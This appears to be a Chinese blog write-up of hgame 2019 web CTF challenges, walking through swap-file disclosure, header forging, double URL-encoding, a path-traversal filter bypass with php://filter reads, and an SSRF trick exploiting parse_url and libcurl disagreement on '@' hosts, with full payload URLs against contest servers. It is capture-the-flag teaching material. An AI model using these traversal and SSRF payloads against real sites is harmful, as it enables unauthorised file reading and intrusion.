hgame-writeup-web

又是俩月没有接触信安,看到这次hgame的ctf,也参与下学习下。

WEB

Level - Week1

谁吃了我的flag

描述:呜呜呜,Mki一起床发现写好的题目变成这样了,是因为昨天没有好好关机吗T_T

URL:http://118.25.111.31:10086/index.html

打开页面内容为

damn...hgame2019 is coming soon, but the stupid Mki haven't finished his web-challenge...


fine, nothing serious, just give you flag this time...


the flag is hgame{3eek_diScl0Sure

根据描述,猜测应该产生了错误文件,vim的错误文件为 .swp.swo.swn 访问url http://118.25.111.31:10086/.index.html.swp 下载到文件,PS:不要忘记.点

利用 vim -r index.html.swp 查看到原内容

<!DOCTYPE HTML>
<html>
        <head>
                <title>谁吃了我的flag???</title>
        </head>
        <body>
                <p>damn...hgame2019 is coming soon, but the stupid Mki haven't finished his web-challenge...</p>
                </br>
                <p>fine, nothing serious, just give you flag this time...</p>
                </br>
                <p>the flag is hgame{3eek_diScl0Sure_fRom+wEbsit@}
        </body>
</html>

flag:hgame{3eek_diScl0Sure_fRom+wEbsit@}

换头大作战

描述:想要flag嘛

URL:http://120.78.184.111:8080/week1/how/index.php

image

看hint是要转换成post提交。

image

要求xff,那就在header里加xff

xff

提示又要User-Agent,copy一份火狐的ua,然后替换下

1548426465416.png

继续提示要Referer,那就在header再添加

1548426526779.png

提示Cookie,又指明not admin,查看cookie信息

image

修改下value为1

image

flag:hgame{hTTp_HeaDeR_iS_Ez}

very easy web

描述:代码审计初♂体验

URL:http://120.78.184.111:8080/week1/very_ez/index.php

<?php
error_reporting(0);
include("flag.php");

if(strpos("vidar",$_GET['id'])!==FALSE)
  die("<p>干巴爹</p>");

$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] === "vidar")
{
  echo $flag;
}
highlight_file(__FILE__);
?>

php拿到url后会自动解码一次,那只要把vidar两次urlencode就好了,自然而然第一个if也不会进去了。

第一次urlencode
%76%69%64%61%72

第二次
%25%37%36%25%36%39%25%36%34%25%36%31%25%37%32

payload:
http://120.78.184.111:8080/week1/very_ez/index.php?id=%25%37%36%25%36%39%25%36%34%25%36%31%25%37%32

flag:hgame{urlDecode_Is_GoOd}

can u find me?

描述:为什么不问问神奇的十二姑娘和她的小伙伴呢

URL:http://47.107.252.171:8080/

<!DOCTYPE html>
<html>
<head>
    <title>can u find me?</title>
</head>
<body>
    <p>the gate has been hidden</p>
    <p>can you find it? xixixi</p>
    <a href="f12.php"></a>
</body>
</html>

查看源码看到f12.php 由于a标签内没写内容,所以是看不到的。

image

然后得到这个内容,接下来应该把header中的password的内容woyaoflag给post过去,

image
image

返回了这个内容,后来看了下fiddler,原来中间还有个302重定向

image

看到URL变化了,这个应该要注意到的。

flag:hgame{f12_1s_aMazIng111}

Level - Week 2

easy_php

描述:代码审计♂第二弹

URL:http://118.24.25.25:9999/easyphp/index.html

打开URL显示

come on ! second wait you

右键查看源代码

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <meta http-equiv="X-UA-Compatible" content="ie=edge">
        <title>where is my robots</title>
    </head>
    <body>
        come on ! second wait you 
    </body>
    </html>

访问 http://118.24.25.25:9999/easyphp/robots.txt 内容为 img/index.php,接着访问 http://118.24.25.25:9999/easyphp/img/index.php,看到内容

image.png
<?php
error_reporting(0);
$img = $_GET['img'];
if(!isset($img))
$img = '1';
$img = str_replace('../', '', $img);
include_once($img.".php");
highlight_file(__FILE__);

包含文件内容,看到了str_replace过滤 ../防止读取上层文件内容,但是这只是过滤了一次,所以想到

  1. flag应该就在上层中
  2. 可以用 ....//这样来绕过,之过滤一次后剩下还有一个 ../

于是先简单试试第一个payload

http://118.24.25.25:9999/easyphp/img/index.php?img=....//flag

显示 "maybe_you_should_think_think" 那应该文件和绕过是没错了,内容被include进去了,使用伪协议读

http://118.24.25.25:9999/easyphp/img/index.php?img=php://filter/read=convert.base64-encode/resource=....//flag

读到

PD9waHAKICAgIC8vJGZsYWcgPSAnaGdhbWV7WW91XzRyZV9Tb19nMG9kfSc7CiAgICBlY2hvICJtYXliZV95b3Vfc2hvdWxkX3RoaW5rX3RoaW5rIjsK

base64decode后

<?php
//$flag = 'hgame{You_4re_So_g0od}';
echo "maybe_you_should_think_think";
    

flag:hgame{You_4re_So_g0od}

php trick

描述:some php tricks

URL:http://118.24.3.214:3001

<?php
//admin.php
highlight_file(__FILE__);
$str1 = (string)@$_GET['str1'];
$str2 = (string)@$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = @$_GET['H_game'];
$url = @$_GET['url'];
if( $str1 == $str2 ){
    die('step 1 fail');
}
if( md5($str1) != md5($str2) ){
    die('step 2 fail');
}
if( $str3 == $str4 ){
    die('step 3 fail');
}
if ( md5($str3) !== md5($str4)){
    die('step 4 fail');
}
if (strpos($_SERVER['QUERY_STRING'], "H_game") !==false) {
    die('step 5 fail');
}
if(is_numeric($str5)){
    die('step 6 fail');
}
if ($str5<9999999999){
    die('step 7 fail');
}
if ((string)$str5>0){
    die('step 8 fial');
}
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
    die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
    die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
    die('step 11 fail');
}
else{
    echo $output;
}

看到后前四个step大概知道怎么解决

  1. step1和2使用弱类型的trick来绕过
  2. step3和4使用array的md5为null来绕过

str1=240610708&str2=QNKCDZO&str3[]=1&str4[]=2

step5猜想并测试后证实,QUERY_STRING不会自动urldecode,而$_GET会自动urldecode的,所以使用%48_game随意urlencode一个字符绕过。

%48_game

step6、7、8把我卡得有点久,第一以为是用科学计数法来绕,然后发现7、8是矛盾的,无法过,,,(可能是我太弱鸡了)

后来发现了一个trick,array和数字比较永远array大,那这个问题就好解决了,构造如下payload

%48_game[]=admin

然后step9、10、11是有关parse_url的,需要符合SCHEME是http,HOST是www.baidu.com,然后用curl去访问这个URI后将内容给echo出来。猜测到应该是要读取某个URI吧,得利用parse_url的bug去解析host

发现//admin.php这个hint还没利用,先访问得到提示only localhost can see it,那就应该是要读取这个文件了

查询了有关parse_url的trick,然后我发现都是path有关的,这里显然是要解析host,最后在文章中找到相关方法

Reference:

https://fireshellsecurity.team/sunshinectf-search-box/

http://pupiles.com/%E8%B0%88%E8%B0%88parse_url.html

  • 当url中有多个@符号时,parse_url中获取的host是最后一个@符号后面的host,而libcurl则是获取的第一个@符号之后的。因此当代码对http://user@eval.com:80@baidu.com 进行解析时,PHP获取的host是baidu.com是允许访问的域名,而最后调用libcurl进行请求时则是请求的eval.com域名,可以造成ssrf绕过
  • 此外对于https://evil@baidu.com这样的域名进行解析时,php获取的host是[evil@baidu.com](mailto:%60evil@baidu.com),但是libcurl获取的host却是evil.com

利用这个trick,测试用payload

url=http://user@127.0.0.1:80@www.baidu.com/admin.php

得到

<?php
//flag.php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1') {
    die('only localhost can see it');
}
$filename = $_GET['filename']??'';

if (file_exists($filename)) {
    echo "sorry,you can't see it";
}
else{
    echo file_get_contents($filename);
}
highlight_file(__FILE__);
?>

nice,然后再用伪协议读取一下,payload为

url=http://user@127.0.0.1:80@www.baidu.com/admin.php?filename=php://filter/read=convert.base64-encode/resource=flag.php

完成的URL payload为

http://118.24.3.214:3001/?str1=240610708&str2=QNKCDZO&str3[]=1&str4[]=2&%48_game[]=admin&url=http://user@127.0.0.1:80@www.baidu.com/admin.php?filename=php://filter/read=convert.base64-encode/resource=flag.php

得到base64encode内容

PD9waHAgJGZsYWcgPSBoZ2FtZXtUaEVyNF9BcjRfczBtNF9QaHBfVHIxY2tzfSA/Pgo=

解码后

<?php $flag = hgame{ThEr4_Ar4_s0m4_Php_Tr1cks} ?>

后面的题未来得及解,弱鸡瑟瑟发抖,新年表哥们都不休息嘛?

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,542评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,596评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 158,021评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,682评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,792评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,985评论 1 291
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,107评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,845评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,299评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,612评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,747评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,441评论 4 333
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,072评论 3 317
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,828评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,069评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,545评论 2 362
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,658评论 2 350

推荐阅读更多精彩内容

  • 来分享一波VIP视频解析接口,有的有广告,具体自己测试 接口地址(2017年12月) http://jx.vgoo...
    HolyTime阅读 45,325评论 0 17
  • 第一部分 HTML&CSS整理答案 1. 什么是HTML5? 答:HTML5是最新的HTML标准。 注意:讲述HT...
    kismetajun阅读 27,450评论 1 45
  • 去旅游的高铁上,五岁的儿子可可又是唱歌又是背诵初中语文课本上的古诗,还时不时冒几句英语。 儿子让...
    风中花絮儿阅读 194评论 0 0
  • 1、 小时候看过部一部电影,叫《自古英雄出少年》,是连着好几年的六一儿童节可以在我妈面前理直气壮地看的一部...
    定海神针_ecb7阅读 293评论 3 4